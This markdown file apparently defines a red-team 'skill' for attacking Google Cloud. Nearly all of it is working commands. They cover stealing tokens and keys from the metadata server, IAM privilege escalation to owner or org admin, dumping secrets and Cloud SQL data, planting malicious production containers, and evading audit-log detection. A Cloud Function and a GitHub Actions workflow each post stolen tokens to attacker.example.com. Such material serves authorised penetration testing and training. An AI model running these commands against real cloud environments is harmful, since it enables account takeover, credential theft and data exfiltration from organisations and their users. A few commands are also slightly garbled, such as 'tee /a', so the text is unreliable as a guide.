---
name: rt-exploit-cloud-gcp
description: "Google Cloud Platform Red Team skill. GCP IAM privilege escalation, Service Account key theft, Cloud Storage bucket public access exploitation, Cloud Functions exploitation, metadata server access (169.254.169.254 and metadata.google.internal), Workload Identity abuse, and GCP organization policy bypass. Tools: gcloud CLI, GCP IAM Privilege Escalation via Terraform."
---

# rt-exploit-cloud-gcp — GCP Red Team Skill Guide

## 1. Overview and When to Use

This skill covers offensive operations against Google Cloud Platform (GCP) environments. It applies during red team engagements where the target organization uses GCP as its cloud provider, either exclusively or as part of a multi-cloud strategy.

GCP differs from AWS and Azure in several key ways that affect attack surface:

- IAM uses a hierarchical model: Organization > Folder > Project > Resource
- Service Accounts are both identities and resources — they can be impersonated, have keys stolen, and be granted overly permissive roles
- The metadata server at `169.254.169.254` (also reachable as `metadata.google.internal`) exposes tokens, project info, and SSH keys
- Workload Identity Federation allows external identities (GitHub Actions, AWS, Azure AD) to impersonate GCP Service Accounts — a frequent misconfiguration
- Organization Policies constrain what can be deployed at scale; bypassing them reveals underlying IAM misconfigurations

Use this skill when you have:
- Initial foothold on a GCP Compute Engine instance
- Leaked or stolen GCP Service Account key files (JSON)
- Access to GCP credentials via environment variables or application default credentials
- A target that uses GCP-hosted applications, buckets, or serverless functions
- A CI/CD pipeline that authenticates to GCP (GitHub Actions, Cloud Build, Jenkins)

---

## 2. Prerequisites and Tool Setup

### 2.1 Attacker Machine Requirements

Kali Linux 2023.x or later is assumed. All commands target Bash unless otherwise noted.

### 2.2 Install gcloud CLI

```bash
# Add Google Cloud SDK repo
echo "deb [signed-by=/usr/share/keyrings/cloud.google.gpg] https://packages.cloud.google.com/apt cloud-sdk main" \
  | sudo tee /a /etc/apt/sources.list.d/google-cloud-sdk.list

curl https://packages.cloud.google.com/apt/doc/apt-key.gpg \
  | sudo apt-key --keyring /usr/share/keyrings/cloud.google.gpg add -

sudo apt-get update && sudo apt-get install -y google-cloud-cli

# Verify
gcloud version
```

### 2.3 Install Supporting Tools

```bash
# Python 3 and pip (usually pre-installed on Kali)
sudo apt-get install -y python3 python3-pip jq curl wget git

# gcphound — GCP enumeration and privilege escalation automation
pip3 install gcphound

# trufflehog — credential scanning in repos and storage
pip3 install trufflehog

# cloudfox — multi-cloud enumeration
wget https://github.com/BishopFox/cloudfox/releases/latest/download/cloudfox-linux-amd64.zip
unzip cloudfox-linux-amd64.zip -d /opt/cloudfox
sudo ln -s /opt/cloudfox/cloudfox /usr/local/bin/cloudfox

# GCP IAM Privilege Escalation scripts (Rhino Security Labs)
git clone https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation.git /opt/gcp-privesc

# ScoutSuite — run via Docker (Python 3.13 conflict in rtexit-kali)
# docker run -it --rm rossja/ncc-scoutsuite scout gcp --project <project-id>

# gcp_scanner — Google's own attack surface scanner
pip3 install gcp-scanner

# Terraform (for policy bypass techniques)
wget https://releases.hashicorp.com/terraform/1.8.0/terraform_1.8.0_linux_amd64.zip
unzip terraform_1.8.0_linux_amd64.zip -d /opt/terraform
sudo mv /opt/terraform/terraform /usr/local/bin/

# oauth2l — GCP OAuth token utility
sudo apt-get install -y oauth2l || pip3 install oauth2l
```

### 2.4 Authenticate with Stolen Credentials

```bash
# Method 1: Activate a stolen service account key file
gcloud auth activate-service-account --key-file=/path/to/stolen-key.json

# Method 2: Use ADC (Application Default Credentials) path
export GOOGLE_APPLICATION_CREDENTIALS=/path/to/stolen-key.json

# Method 3: Set access token stolen from metadata server
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.xxxxxxxxxxxx"
gcloud config set auth/access_token_file /dev/null  # prevent override
gcloud projects list  # test access

# Verify current identity
gcloud auth list
gcloud config list
```

---

## 3. Skill Levels

### BEGINNER — Discovery and Credential Access

Objectives: Understand what you have access to, identify the project scope, enumerate storage and IAM basics.

Techniques:
- Enumerate accessible projects and resources
- List IAM bindings on projects
- Check public Cloud Storage buckets
- Read instance metadata for tokens

### INTERMEDIATE — Lateral Movement and Privilege Escalation

Objectives: Move from a low-privilege identity to a higher-privilege one, pivot across projects.

Techniques:
- Exploit overpermissioned Service Accounts
- Steal and activate Service Account keys
- Impersonate Service Accounts via `iam.serviceAccounts.getAccessToken`
- Abuse Cloud Functions and Cloud Run for code execution
- Exploit Workload Identity Federation misconfigurations

### ADVANCED — Persistence and Data Exfiltration

Objectives: Establish persistence mechanisms, exfiltrate sensitive data, expand to organization level.

Techniques:
- Create backdoor Service Account keys
- Modify IAM bindings at folder/organization level
- Exfiltrate Cloud SQL, Firestore, BigQuery data
- Abuse Cloud Build for supply chain access
- Exploit organization policies to enable restricted APIs

### EXPERT — Organization-Level Compromise and Stealthy Ops

Objectives: Achieve organization-wide control, evade detection, attack identity federation and supply chains.

Techniques:
- Organization policy bypass and custom constraint manipulation
- Hijack Workload Identity pools to impersonate arbitrary external identities
- Abuse Domain-Wide Delegation (Google Workspace + GCP overlap)
- Poison Cloud Build pipelines for persistent code execution
- Exfiltrate KMS keys and decrypt stored secrets
- VPC Service Controls bypass via allowed perimeter exceptions

---

## 4. Step-by-Step Numbered Attack Workflow

### Phase 1: Initial Access and Credential Validation

```
Step 1.  Receive or obtain initial credentials (key file, token, metadata access)
Step 2.  Validate credentials and determine current identity
Step 3.  Enumerate accessible projects
Step 4.  Determine effective permissions on each project
Step 5.  Identify the highest-value targets (prod vs dev, data projects, shared VPCs)
```

### Phase 2: Enumeration

```
Step 6.  Enumerate IAM policies at project and organization level
Step 7.  List Service Accounts and their keys
Step 8.  Enumerate Cloud Storage buckets and their ACLs
Step 9.  List Compute Engine instances and their Service Account attachments
Step 10. Enumerate Cloud Functions, Cloud Run services, App Engine apps
Step 11. Check for secrets in Secret Manager
Step 12. Identify Workload Identity pools and providers
```

### Phase 3: Privilege Escalation

```
Step 13. Map current permissions to known privesc paths
Step 14. Execute the highest-impact privesc path available
Step 15. Validate elevated access
Step 16. Repeat enumeration from elevated context
```

### Phase 4: Lateral Movement

```
Step 17. Identify cross-project access via shared VPCs or IAM bindings
Step 18. Pivot to adjacent projects using elevated SA
Step 19. Access data stores (GCS, BigQuery, Cloud SQL, Firestore)
Step 20. Enumerate secrets in adjacent projects
```

### Phase 5: Persistence

```
Step 21. Create new Service Account key for backdoor access
Step 22. Add IAM binding for attacker-controlled identity
Step 23. Deploy persistent Cloud Function or Cloud Run with outbound callback
Step 24. Document all persistence mechanisms for cleanup
```

### Phase 6: Exfiltration and Reporting

```
Step 25. Identify highest-value data (PII, credentials, source code, keys)
Step 26. Exfiltrate samples per engagement rules of engagement
Step 27. Document attack chain end-to-end
Step 28. Clean up backdoors and test artifacts
```

---

## 5. Actual Terminal Commands

### 5.1 Identity and Project Enumeration

```bash
# Who am I
gcloud auth list
gcloud config get-value account

# What projects can I see
gcloud projects list --format="table(projectId,name,projectNumber)"

# Set working project
export PROJECT_ID="target-project-id"
gcloud config set project $PROJECT_ID

# Get project number (needed for some APIs)
gcloud projects describe $PROJECT_ID --format="value(projectNumber)"

# Check organization
gcloud organizations list

# List folders
gcloud resource-manager folders list --organization=ORG_ID
```

### 5.2 IAM Enumeration

```bash
# Get project-level IAM policy
gcloud projects get-iam-policy $PROJECT_ID --format=json | tee /tmp/iam-policy.json

# Find all members with a specific role
gcloud projects get-iam-policy $PROJECT_ID \
  --format=json | jq '.bindings[] | select(.role=="roles/editor") | .members'

# List all Service Accounts in project
gcloud iam service-accounts list --project=$PROJECT_ID

# Get SA details
gcloud iam service-accounts describe SA_EMAIL --project=$PROJECT_ID

# List keys on a Service Account
gcloud iam service-accounts keys list \
  --iam-account=SA_EMAIL \
  --project=$PROJECT_ID

# Check what roles the current account has
gcloud projects get-iam-policy $PROJECT_ID \
  --flatten="bindings[].members" \
  --format="table(bindings.role,bindings.members)" \
  --filter="bindings.members:$(gcloud config get-value account)"

# Enumerate effective permissions (requires iam.testIamPermissions)
# Use gcphound for automated testing of all permissions
python3 /opt/gcp-privesc/PrivEscScanner/main.py \
  --service-account-json /path/to/key.json \
  --project $PROJECT_ID
```

### 5.3 Metadata Server Access (from Compromised GCE Instance)

```bash
# From inside a GCE VM — access metadata server
# Both endpoints are equivalent
METADATA_URL="http://metadata.google.internal/computeMetadata/v1"
METADATA_IP="http://169.254.169.254/computeMetadata/v1"

# Get project info
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/project/project-id"
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/project/numeric-project-id"

# Get instance info
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/name"
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/zone"
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/service-accounts/"

# List attached Service Accounts
curl -H "Metadata-Flavor: Google" "${METADATA_URL}/instance/service-accounts/"
# Usually returns: default/

# Get OAuth2 access token for the attached SA
curl -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/instance/service-accounts/default/token"
# Returns: {"access_token":"ya29.xxx","expires_in":3599,"token_type":"Bearer"}

# Extract just the token
TOKEN=$(curl -s -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/instance/service-accounts/default/token" \
  | jq -r '.access_token')
echo "Token: $TOKEN"

# Get token scopes
curl -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/instance/service-accounts/default/scopes"

# Get SSH keys from metadata
curl -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/project/attributes/ssh-keys"
curl -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/instance/attributes/ssh-keys"

# Get custom metadata (may contain secrets, passwords, API keys)
curl -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/instance/attributes/" --silent
curl -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/project/attributes/" --silent

# Get startup script (often contains credentials)
curl -H "Metadata-Flavor: Google" \
  "${METADATA_URL}/instance/attributes/startup-script"

# Use token with gcloud
gcloud config set auth/access_token_file /dev/null
export CLOUDSDK_AUTH_ACCESS_TOKEN="$TOKEN"
gcloud projects list
```

### 5.4 Cloud Storage Bucket Exploitation

```bash
# List all buckets in project
gsutil ls -p $PROJECT_ID

# Check bucket ACL and IAM
gsutil iam get gs://BUCKET_NAME
gsutil acl get gs://BUCKET_NAME

# List bucket contents
gsutil ls gs://BUCKET_NAME
gsutil ls -r gs://BUCKET_NAME  # recursive

# Check for publicly accessible buckets (unauthenticated)
curl -s "https://storage.googleapis.com/BUCKET_NAME" | head -50
# If it returns XML listing, bucket is public

# Download bucket contents
gsutil -m cp -r gs://BUCKET_NAME /tmp/bucket-loot/

# Search for credentials in bucket
gsutil cat gs://BUCKET_NAME/path/to/file.json
grep -r "private_key\|password\|secret\|token" /tmp/bucket-loot/

# Check for terraform state files (goldmine)
gsutil ls gs://BUCKET_NAME/**/*.tfstate
gsutil cp gs://BUCKET_NAME/default.tfstate /tmp/
cat /tmp/default.tfstate | jq '.resources[].instances[].attributes | select(.sensitive_attributes != null)'

# Enumerate all buckets visible to current identity
gsutil ls

# Try to access buckets from other projects using allUsers or allAuthenticatedUsers
# Scan target domain for public buckets
for bucket in $(cat /tmp/bucket-wordlist.txt); do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://storage.googleapis.com/$bucket")
  if [ "$STATUS" != "403" ] && [ "$STATUS" != "404" ]; then
    echo "ACCESSIBLE: $bucket (HTTP $STATUS)"
  fi
done

# Write to a public bucket (defacement / data plant for exfil)
echo "test" | gsutil cp - gs://BUCKET_NAME/test.txt

# Make object public
gsutil acl ch -u AllUsers:R gs://BUCKET_NAME/file.txt
```

### 5.5 IAM Privilege Escalation

```bash
# --- Privesc via iam.serviceAccounts.setIamPolicy ---
# Grant yourself token creator on a high-priv SA
gcloud iam service-accounts add-iam-policy-binding HIGH_PRIV_SA_EMAIL \
  --member="user:$(gcloud config get-value account)" \
  --role="roles/iam.serviceAccountTokenCreator"

# Now impersonate the SA to get a token
gcloud auth print-access-token \
  --impersonate-service-account=HIGH_PRIV_SA_EMAIL

# --- Privesc via iam.serviceAccounts.keys.create ---
# Create a new key for an existing high-priv SA
gcloud iam service-accounts keys create /tmp/stolen-sa-key.json \
  --iam-account=HIGH_PRIV_SA_EMAIL

# Activate the key
gcloud auth activate-service-account \
  HIGH_PRIV_SA_EMAIL \
  --key-file=/tmp/stolen-sa-key.json

# --- Privesc via resourcemanager.projects.setIamPolicy ---
# Add yourself as owner
gcloud projects add-iam-policy-binding $PROJECT_ID \
  --member="user:attacker@gmail.com" \
  --role="roles/owner"

# --- Privesc via cloudfunctions.functions.create + iam.serviceAccounts.actAs ---
# Deploy a Cloud Function as a high-priv SA to steal its token
cat > /tmp/main.py << 'EOF'
import requests
def steal_token(request):
    token = requests.get(
        "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
        headers={"Metadata-Flavor": "Google"}
    ).json()
    # Exfiltrate token to attacker-controlled endpoint
    requests.post("https://attacker.example.com/token", json=token)
    return "ok"
EOF

cat > /tmp/requirements.txt << 'EOF'
requests
EOF

cd /tmp && zip function.zip main.py requirements.txt

gcloud functions deploy steal-token-fn \
  --runtime=python311 \
  --trigger-http \
  --allow-unauthenticated \
  --service-account=HIGH_PRIV_SA_EMAIL \
  --source=/tmp/function.zip \
  --entry-point=steal_token \
  --region=us-central1

# Invoke it
curl "https://us-central1-$PROJECT_ID.cloudfunctions.net/steal-token-fn"

# --- Privesc via compute.instances.setServiceAccount ---
# Attach a high-priv SA to an existing instance you control
gcloud compute instances set-service-account INSTANCE_NAME \
  --service-account=HIGH_PRIV_SA_EMAIL \
  --scopes=cloud-platform \
  --zone=us-central1-a

# Then SSH in and access metadata
gcloud compute ssh INSTANCE_NAME --zone=us-central1-a -- \
  "curl -s -H 'Metadata-Flavor: Google' \
  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# --- Automated privesc path discovery ---
cd /opt/gcp-privesc/PrivEscScanner
python3 main.py \
  --service-account-json /path/to/key.json \
  --project $PROJECT_ID \
  --output /tmp/privesc-paths.json
```

### 5.6 Workload Identity Federation Abuse

```bash
# List Workload Identity pools
gcloud iam workload-identity-pools list \
  --location=global \
  --project=$PROJECT_ID

# Describe a pool
gcloud iam workload-identity-pools describe POOL_ID \
  --location=global \
  --project=$PROJECT_ID

# List providers in a pool
gcloud iam workload-identity-pools providers list \
  --workload-identity-pool=POOL_ID \
  --location=global \
  --project=$PROJECT_ID

# Describe a provider (reveals attribute conditions — often misconfigured)
gcloud iam workload-identity-pools providers describe PROVIDER_ID \
  --workload-identity-pool=POOL_ID \
  --location=global \
  --project=$PROJECT_ID

# Check SA IAM binding for WIF
gcloud iam service-accounts get-iam-policy SA_EMAIL \
  --format=json | jq '.bindings[] | select(.role=="roles/iam.workloadIdentityUser")'

# If provider trusts GitHub Actions, and you control a repo:
# In GitHub Actions workflow:
# permissions:
#   id-token: write
# steps:
#   - uses: google-github-actions/auth@v2
#     with:
#       workload_identity_provider: projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID
#       service_account: SA_EMAIL

# Check for overly broad attribute conditions like:
# attribute.repository_owner == "target-org"  (any repo in org works)
# No condition at all (any GitHub Actions token works)

# Exchange a GitHub OIDC token for a GCP access token manually
GITHUB_TOKEN="eyJ..."  # obtained from GitHub Actions
curl -X POST \
  "https://sts.googleapis.com/v1/token" \
  -H "Content-Type: application/json" \
  -d "{
    \"audience\": \"//iam.googleapis.com/projects/PROJECT_NUMBER/locations/global/workloadIdentityPools/POOL_ID/providers/PROVIDER_ID\",
    \"grantType\": \"urn:ietf:params:oauth:grant-type:token-exchange\",
    \"requestedTokenType\": \"urn:ietf:params:oauth:token-type:access_token\",
    \"scope\": \"https://www.googleapis.com/auth/cloud-platform\",
    \"subjectTokenType\": \"urn:ietf:params:oauth:token-type:jwt\",
    \"subjectToken\": \"$GITHUB_TOKEN\"
  }" | jq .
```

### 5.7 Secret Manager Enumeration

```bash
# List secrets
gcloud secrets list --project=$PROJECT_ID

# Access a secret value
gcloud secrets versions access latest \
  --secret=SECRET_NAME \
  --project=$PROJECT_ID

# List all versions of a secret
gcloud secrets versions list SECRET_NAME --project=$PROJECT_ID

# Access a specific version
gcloud secrets versions access 1 \
  --secret=SECRET_NAME \
  --project=$PROJECT_ID

# Bulk dump all accessible secrets
for secret in $(gcloud secrets list --project=$PROJECT_ID --format="value(name)"); do
  echo "=== $secret ==="
  gcloud secrets versions access latest --secret="$secret" --project=$PROJECT_ID 2>/dev/null
  echo ""
done
```

### 5.8 Organization Policy Bypass

```bash
# List org policies on project
gcloud resource-manager org-policies list --project=$PROJECT_ID

# Describe a specific policy
gcloud resource-manager org-policies describe \
  constraints/compute.requireOsLogin \
  --project=$PROJECT_ID

# Check if you can override at project level
gcloud resource-manager org-policies set-policy \
  --project=$PROJECT_ID \
  /tmp/policy-override.yaml

# policy-override.yaml to disable OS Login requirement:
# constraint: constraints/compute.requireOsLogin
# booleanPolicy: {}

# List all available constraints
gcloud resource-manager org-policies list-available-constraints \
  --organization=ORG_ID

# Disable domain restricted sharing (allows external SA bindings)
cat > /tmp/disable-drs.yaml << 'EOF'
constraint: constraints/iam.allowedPolicyMemberDomains
listPolicy:
  allValues: ALLOW
EOF
gcloud resource-manager org-policies set-policy \
  --project=$PROJECT_ID \
  /tmp/disable-drs.yaml
```

### 5.9 CloudFox Automated Enumeration

```bash
# Run full GCP enumeration with cloudfox
cloudfox gcp --project $PROJECT_ID all-checks -o /tmp/cloudfox-output/

# Specific checks
cloudfox gcp --project $PROJECT_ID iam-simulator
cloudfox gcp --project $PROJECT_ID service-accounts
cloudfox gcp --project $PROJECT_ID storage-buckets

# Review output
ls /tmp/cloudfox-output/
cat /tmp/cloudfox-output/loot/*.txt
```

---

## 6. Real Attack Scenarios

### Scenario 1: Metadata Server to Organization Admin

**Context:** Gained RCE on a web application running on GCE. The VM has a Service Account attached.

```bash
# Step 1: Access metadata server from the compromised VM
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
  > /tmp/token.json

TOKEN=$(cat /tmp/token.json | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Step 2: Identify the SA email
SA=$(curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email")
echo "Compromised SA: $SA"

# Step 3: Enumerate projects accessible to this SA
export CLOUDSDK_AUTH_ACCESS_TOKEN="$TOKEN"
gcloud projects list --format="value(projectId)" > /tmp/projects.txt
cat /tmp/projects.txt

# Step 4: For each project, check IAM
for proj in $(cat /tmp/projects.txt); do
  echo "=== $proj ==="
  gcloud projects get-iam-policy $proj --format=json 2>/dev/null | \
    jq '.bindings[] | select(.role | contains("admin") or contains("owner")) | {role, members}'
done

# Step 5: Discover the SA has roles/iam.serviceAccountAdmin at org level
# Now create a key for a high-priv SA
gcloud iam service-accounts list --project=prod-project-xyz \
  --filter="email:terraform@" --format="value(email)"
# Found: terraform@prod-project-xyz.iam.gserviceaccount.com

# Step 6: Create a key for the terraform SA
gcloud iam service-accounts keys create /tmp/terraform-sa.json \
  --iam-account=terraform@prod-project-xyz.iam.gserviceaccount.com

# Step 7: Activate the terraform SA
gcloud auth activate-service-account \
  terraform@prod-project-xyz.iam.gserviceaccount.com \
  --key-file=/tmp/terraform-sa.json

# Step 8: Terraform SA has roles/resourcemanager.organizationAdmin
# Grant attacker-controlled account org admin
gcloud organizations add-iam-policy-binding ORG_ID \
  --member="user:attacker@gmail.com" \
  --role="roles/resourcemanager.organizationAdmin"

# Step 9: Verify
gcloud auth login attacker@gmail.com
gcloud organizations get-iam-policy ORG_ID
# Attacker now has org-level control
```

### Scenario 2: Public Bucket to Cloud SQL Credentials to Database Exfiltration

**Context:** Target organization uses GCP. External assessment, no initial credentials.

```bash
# Step 1: Enumerate public buckets via company name patterns
COMPANY="targetcorp"
for suffix in "" "-dev" "-prod" "-staging" "-backup" "-assets" "-data" "-logs"; do
  BUCKET="${COMPANY}${suffix}"
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://storage.googleapis.com/$BUCKET")
  [ "$STATUS" = "200" ] && echo "PUBLIC: gs://$BUCKET"
done

# Step 2: Found public bucket — enumerate contents
gsutil ls gs://targetcorp-backup/

# Step 3: Download terraform state files
gsutil cp gs://targetcorp-backup/terraform/default.tfstate /tmp/

# Step 4: Extract credentials from tfstate
cat /tmp/default.tfstate | jq -r '
  .resources[].instances[].attributes |
  to_entries[] |
  select(.key | test("password|secret|key|token|credential"; "i")) |
  "\(.key): \(.value)"
'

# Step 5: Found a service account key embedded in tfstate
cat /tmp/default.tfstate | jq -r '
  .resources[] |
  select(.type == "google_service_account_key") |
  .instances[].attributes.private_key
' | base64 -d > /tmp/extracted-sa-key.json

# Step 6: Activate the extracted SA
gcloud auth activate-service-account --key-file=/tmp/extracted-sa-key.json
PROJECT_ID=$(cat /tmp/extracted-sa-key.json | jq -r '.project_id')

# Step 7: Enumerate Cloud SQL instances
gcloud sql instances list --project=$PROJECT_ID

# Step 8: Check Cloud SQL IAM — SA has cloudsql.admin
# Export database to a GCS bucket we can read
gcloud sql export sql SQL_INSTANCE_NAME \
  gs://targetcorp-backup/sql-dump.sql \
  --database=main_db \
  --project=$PROJECT_ID

# Step 9: Download the exported database dump
gsutil cp gs://targetcorp-backup/sql-dump.sql /tmp/

# Step 10: Parse dump for sensitive data
grep -i "password\|email\|ssn\|credit_card\|api_key" /tmp/sql-dump.sql | head -100
```

### Scenario 3: CI/CD Workload Identity to Production Deployment

**Context:** Found a misconfigured GitHub Actions workflow that authenticates to GCP with no attribute condition on the Workload Identity provider.

```bash
# Step 1: Enumerate WIF via project metadata discovered in a public repo
# Target repo has: workload_identity_provider value visible in .github/workflows/

PROJECT_NUMBER="123456789012"
POOL_ID="github-pool"
PROVIDER_ID="github-provider"
SA_EMAIL="github-actions@target-project.iam.gserviceaccount.com"

# Step 2: Verify the provider has no attribute condition
gcloud iam workload-identity-pools providers describe $PROVIDER_ID \
  --workload-identity-pool=$POOL_ID \
  --location=global \
  --project=target-project \
  --format=json | jq '.attributeCondition'
# Returns: null — no condition, any GitHub Actions token works

# Step 3: Create attacker-controlled GitHub repo and trigger Actions workflow
# .github/workflows/steal.yml:
cat << 'EOF'
name: GCP Token Steal
on: [push]
permissions:
  id-token: write
  contents: read
jobs:
  steal:
    runs-on: ubuntu-latest
    steps:
      - uses: google-github-actions/auth@v2
        id: auth
        with:
          workload_identity_provider: projects/123456789012/locations/global/workloadIdentityPools/github-pool/providers/github-provider
          service_account: github-actions@target-project.iam.gserviceaccount.com
      - name: Exfil token
        run: |
          echo "Token: ${{ steps.auth.outputs.access_token }}"
          curl -X POST https://attacker.example.com/token \
            -d "token=${{ steps.auth.outputs.access_token }}"
          gcloud projects list
          gsutil ls
EOF

# Step 4: Token received — use it from attacker machine
export CLOUDSDK_AUTH_ACCESS_TOKEN="ya29.stolen_token"

# Step 5: Deploy malicious Cloud Run service to production
gcloud run deploy malicious-service \
  --image=gcr.io/cloudrun/hello \
  --platform=managed \
  --region=us-central1 \
  --project=target-project \
  --allow-unauthenticated

# Step 6: Since SA has Artifact Registry write, push malicious container
# replacing legit container used in production
docker build -t gcr.io/target-project/app:latest /tmp/malicious-app/
docker push gcr.io/target-project/app:latest

# Step 7: Trigger redeployment — next Cloud Run revision uses malicious image
gcloud run deploy production-app \
  --image=gcr.io/target-project/app:latest \
  --region=us-central1 \
  --project=target-project
```

---

## 7. OPSEC Considerations

### 7.1 Detection Risks

**High-Detection Actions — Avoid or Execute Carefully:**

| Action | Detection Method | Risk Level |
|--------|-----------------|------------|
| `gcloud projects get-iam-policy` across many projects | Cloud Audit Logs: Admin Activity | Medium |
| Creating SA keys | Cloud Audit Logs: Admin Activity — always logged | High |
| Modifying IAM bindings | Cloud Audit Logs: Admin Activity — always logged | High |
| Deploying Cloud Functions | Cloud Audit Logs + Cloud Monitoring | Medium |
| Exporting Cloud SQL | Cloud Audit Logs + DLP inspection | High |
| Accessing Secret Manager | Cloud Audit Logs: Data Access | Medium |
| Reading GCS buckets | Data Access logs (if enabled) | Low-Medium |
| Metadata server access | No logging — safe | Low |

**Cloud Audit Log Types:**
- Admin Activity: Always enabled, cannot be disabled, retained 400 days
- Data Access: Often disabled by default — check before assuming coverage
- System Events: Always enabled

**Detection Signatures to Avoid:**

```bash
# High-signal: Creating SA keys for SAs you don't own
# High-signal: Enumerating many projects in rapid succession
# High-signal: Adding IAM bindings for external accounts (@gmail.com)
# High-signal: Accessing secrets across multiple projects in bulk
# Medium-signal: Listing all SA keys across a project
# Low-signal: Reading GCS objects (if Data Access logs not enabled)
```

### 7.2 Evasion Techniques

```bash
# 1. Operate during business hours to blend with normal admin activity
# 2. Use the legitimate SA's normal API call patterns as a baseline
# 3. Prefer read-only enumeration before any write operations
# 4. When creating keys or modifying IAM, do it once and stop

# 3. Use impersonation chains instead of direct key creation
#    (still logged, but appears as the legitimate SA, not your identity)
gcloud auth print-access-token \
  --impersonate-service-account=TARGET_SA@project.iam.gserviceaccount.com

# 4. Avoid using your personal Google account for IAM modifications
#    Use service account impersonation chains

# 5. Rate-limit your enumeration
for project in $(cat /tmp/projects.txt); do
  gcloud iam service-accounts list --project=$project 2>/dev/null
  sleep 2  # avoid burst patterns in logs
done

# 6. Check if Data Access logs are enabled before reading sensitive data
gcloud logging sinks list --project=$PROJECT_ID
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.auditConfigs'

# 7. Use resource-level requests rather than list-all where possible
#    Targeted reads appear more legitimate than bulk enumeration

# 8. Clean up created resources (keys, functions, IAM bindings) after engagement
# List all SA keys created today
gcloud iam service-accounts keys list \
  --iam-account=SA_EMAIL \
  --filter="validAfterTime>=$(date -u +%Y-%m-%d)" \
  --format="value(name)"

# Delete backdoor key
gcloud iam service-accounts keys delete KEY_ID \
  --iam-account=SA_EMAIL
```

### 7.3 Monitoring Queries (Know What Defenders See)

```bash
# What Security Command Center shows:
gcloud scc findings list \
  --organization=ORG_ID \
  --filter="state=ACTIVE AND category=PUBLIC_BUCKET_ACL"

# Log query defenders would run to detect you (Log Explorer):
# resource.type="service_account"
# protoPayload.methodName="google.iam.admin.v1.CreateServiceAccountKey"
# protoPayload.authenticationInfo.principalEmail != "expected@project.iam.gserviceaccount.com"
```

---

## 8. Output and Documentation Instructions

### 8.1 Evidence Collection

```bash
# Create engagement directory
mkdir -p /tmp/gcp-engagement/{loot,evidence,screenshots,notes}

# Capture IAM state at start and end
gcloud projects get-iam-policy $PROJECT_ID --format=json \
  > /tmp/gcp-engagement/evidence/iam-before.json

# Log all gcloud commands with timestamps
exec > >(tee -a /tmp/gcp-engagement/evidence/command-log.txt) 2>&1
echo "=== Session Start: $(date -u) ==="

# Save all discovered credentials with context
cat > /tmp/gcp-engagement/loot/credentials.md << 'EOF'
## Discovered Credentials

### SA Key — terraform@prod
- Source: GCS bucket gs://targetcorp-backup/terraform/default.tfstate
- Permissions: roles/owner on prod-project
- Key file: /tmp/gcp-engagement/loot/terraform-sa.json
- Discovery time: 2026-05-31T10:23:00Z

### Access Token — GCE VM metadata
- Source: 169.254.169.254 on compromised VM web-server-01
- SA: app-service@prod-project.iam.gserviceaccount.com
- Expires: 3600s from retrieval
- Scopes: https://www.googleapis.com/auth/cloud-platform
EOF

# Screenshot cloud console evidence
# Use browser + developer tools to capture API responses as evidence

# Document attack chain
cat > /tmp/gcp-engagement/notes/attack-chain.md << 'EOF'
## Attack Chain

1. Initial Access: RCE on web-server-01 via CVE-XXXX
2. Credential Access: Metadata server token theft (app-service SA)
3. Discovery: IAM enumeration across 12 projects
4. Privilege Escalation: SA key creation for terraform SA
5. Impact: Org admin access achieved
EOF
```

### 8.2 Report Artifacts

Collect the following for the final report:

- IAM policy JSON for affected projects
- List of all Service Accounts and their key counts
- Evidence of public bucket access (curl output with timestamps)
- Screenshots of Secret Manager content accessed
- Command log with timestamps showing full attack chain
- List of all cleanup actions performed

---

## 9. Resources

### Official Documentation

- GCP IAM Overview: https://cloud.google.com/iam/docs/overview
- GCP Audit Logs: https://cloud.google.com/logging/docs/audit
- Workload Identity Federation: https://cloud.google.com/iam/docs/workload-identity-federation
- Metadata Server: https://cloud.google.com/compute/docs/metadata/overview
- Organization Policy: https://cloud.google.com/resource-manager/docs/organization-policy/overview

### Offensive Research and Tools

- GCP IAM Privilege Escalation (Rhino Security): https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
- GCP Privilege Escalation Methods (blog): https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/
- CloudFox: https://github.com/BishopFox/cloudfox
- GCPhound: https://github.com/dalmarcogd/gcphound
- ScoutSuite: https://github.com/nccgroup/ScoutSuite
- Hayat — GCP red team scripts: https://github.com/DenizParlak/hayat
- GCP Scanner: https://github.com/google/gcp_scanner
- Awesome GCP Pentesting: https://github.com/Littlehack3r/awesome-gcp-pentesting
- TerraformGoat — vulnerable GCP lab: https://github.com/HXSecurity/TerraformGoat
- GCP Goat — intentionally vulnerable GCP: https://github.com/JOSHUAJEBARAJ/GCP-GOAT

### Vulnerability Research and Write-ups

- Workload Identity Federation Attacks: https://github.com/dhammon/WorkloadIdentityFederation-Attacks
- Google Cloud Penetration Testing: https://github.com/serain/gcp-pentesting
- IAM Vulnerable — attack/defense lab: https://github.com/BishopFox/iam-vulnerable

### OSINT and Bucket Discovery

- GrayhatWarfare (public bucket search): https://buckets.grayhatwarfare.com
- Bucket Finder: https://github.com/mattweidner/bucket_finder
- S3Scanner (supports GCS): https://github.com/sa7mon/S3Scanner

### CTF and Lab Practice

- flaws2.cloud (AWS focused but concepts apply): http://flaws2.cloud
